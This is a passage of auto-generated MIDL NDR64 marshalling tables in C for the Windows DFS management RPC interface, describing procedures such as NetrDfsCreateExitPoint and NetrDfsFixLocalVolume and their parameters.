         0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag861_t __midl_frag861 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag859_t __midl_frag859 =\n{ \n/* DFS_SITENAME_INFO */\n    { \n    /* DFS_SITENAME_INFO */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DFS_SITENAME_INFO */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag861,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag857_t __midl_frag857 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag859\n        },\n        &__midl_frag894,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag856_t __midl_frag856 =\n{ \n/* _DFS_SITELIST_INFO */\n    { \n    /* _DFS_SITELIST_INFO */\n        0x37,    /* FC64_FORCED_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _DFS_SITELIST_INFO */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        0,\n        0,\n        0,\n        &__midl_frag857,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag855_t __midl_frag855 =\n{ \n/* *_DFS_SITELIST_INFO */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag856\n};\n\nstatic const __midl_frag854_t __midl_frag854 =\n{ \n/* **_DFS_SITELIST_INFO */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag855\n};\n\nstatic const __midl_frag851_t __midl_frag851 =\n{ \n/* NetrDfsManagerReportSiteInfo */\n    { \n    /* NetrDfsManagerReportSiteInfo */      /* procedure NetrDfsManagerReportSiteInfo */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ppSiteInfo */      /* parameter ppSiteInfo */\n        &__midl_frag854,\n        { \n        /* ppSiteInfo */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [in], [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag848_t __midl_frag848 =\n{ \n/* *_NET_DFS_ENTRY_ID_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag783\n};\n\nstatic const __midl_frag846_t __midl_frag846 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag913\n};\n\nstatic const __midl_frag845_t __midl_frag845 =\n{ \n/* *GUID */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag777\n};\n\nstatic const __midl_frag836_t __midl_frag836 =\n{ \n/* NetrDfsFixLocalVolume */\n    { \n    /* NetrDfsFixLocalVolume */      /* procedure NetrDfsFixLocalVolume */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 80 /* 0x50 */ ,  /* Stack size */\n        (NDR64_UINT32) 96 /* 0x60 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* VolumeName */      /* parameter VolumeName */\n        &__midl_frag913,\n        { \n        /* VolumeName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EntryType */      /* parameter EntryType */\n        &__midl_frag928,\n        { \n        /* EntryType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ServiceType */      /* parameter ServiceType */\n        &__midl_frag928,\n        { \n        /* ServiceType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* StgId */      /* parameter StgId */\n        &__midl_frag913,\n        { \n        /* StgId */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* EntryUid */      /* parameter EntryUid */\n        &__midl_frag777,\n        { \n        /* EntryUid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* EntryPrefix */      /* parameter EntryPrefix */\n        &__midl_frag913,\n        { \n        /* EntryPrefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* RelationInfo */      /* parameter RelationInfo */\n        &__midl_frag783,\n        { \n        /* RelationInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* CreateDisposition */      /* parameter CreateDisposition */\n        &__midl_frag928,\n        { \n        /* CreateDisposition */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag829_t __midl_frag829 =\n{ \n/* NetrDfsModifyPrefix */\n    { \n    /* NetrDfsModifyPrefix */      /* procedure NetrDfsModifyPrefix */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag913,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag821_t __midl_frag821 =\n{ \n/* NetrDfsDeleteExitPoint */\n    { \n    /* NetrDfsDeleteExitPoint */      /* procedure NetrDfsDeleteExitPoint */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag913,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag928,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag819_t __midl_frag819 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag818_t __midl_frag818 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 32 /* 0x20 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag817_t __midl_frag817 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag818\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag819\n    }\n};\n\nstatic const __midl_frag816_t __midl_frag816 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag817\n};\n\nstatic const __midl_frag815_t __midl_frag815 =\n{ \n/* DWORD */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 32 /* 0x20 */\n};\n\nstatic const __midl_frag813_t __midl_frag813 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag812_t __midl_frag812 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag813\n};\n\nstatic const __midl_frag811_t __midl_frag811 =\n{ \n/* *GUID */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag777\n};\n\nstatic const __midl_frag809_t __midl_frag809 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag813\n};\n\nstatic const __midl_frag808_t __midl_frag808 =\n{ \n/* NetrDfsCreateExitPoint */\n    { \n    /* NetrDfsCreateExitPoint */      /* procedure NetrDfsCreateExitPoint */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 88 /* 0x58 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag813,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag928,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ShortPrefixLen */      /* parameter ShortPrefixLen */\n        &__midl_frag815,\n        { \n        /* ShortPrefixLen */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ShortPrefix */      /* parameter ShortPrefix */\n        &__midl_frag817,\n        { \n        /* ShortPrefix */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag807_t __midl_frag807 =\n{ \n/* Opnum47NotUsedOnWire */\n    { \n    /* Opnum47NotUsedOnWire */      /* procedure Opnum47NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag799_t __midl_frag799 =\n{ \n/* NetrDfsSetLocalVolumeState */\n    { \n    /* NetrDfsSetLocalVolumeState */      /* procedure NetrDfsSetLocalVolumeState */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct 